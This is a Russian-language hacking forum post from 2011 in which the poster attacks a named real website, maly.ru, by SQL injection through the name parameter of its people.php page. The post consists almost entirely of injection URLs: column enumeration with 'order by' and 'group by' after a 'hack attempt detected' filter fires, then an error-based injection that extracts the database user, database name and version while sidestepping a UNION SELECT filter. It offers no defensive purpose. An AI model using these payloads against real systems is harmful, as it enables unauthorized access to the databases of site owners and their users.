26.10.2011, 18:07
|
|
Участник форума
Регистрация: 05.09.2010
Сообщений: 147
Провел на форуме:
40748
Репутация:
78
|
|
Maly.ru Тиц1000 PR6
Код:
http://maly.ru/people.php?name=ZharovM%27+order+by+10++--+
ололо, "hack attempt detected", автор видимо не вкурсе о group by.
Код:
http://maly.ru/people.php?name=ZharovM%27+group+by+11++--+
Впрочем стоит фильтр на UniOn SelEct, не стал париться, ошибка выводится, и этого достаточно.
Код:
http://maly.ru/people.php?name=1%27+and%28select+1+from%28select+count%28*%29,concat%28%28select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29+from+information_schema.tables+limit+0,1%29,floor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29+--+
|
|
|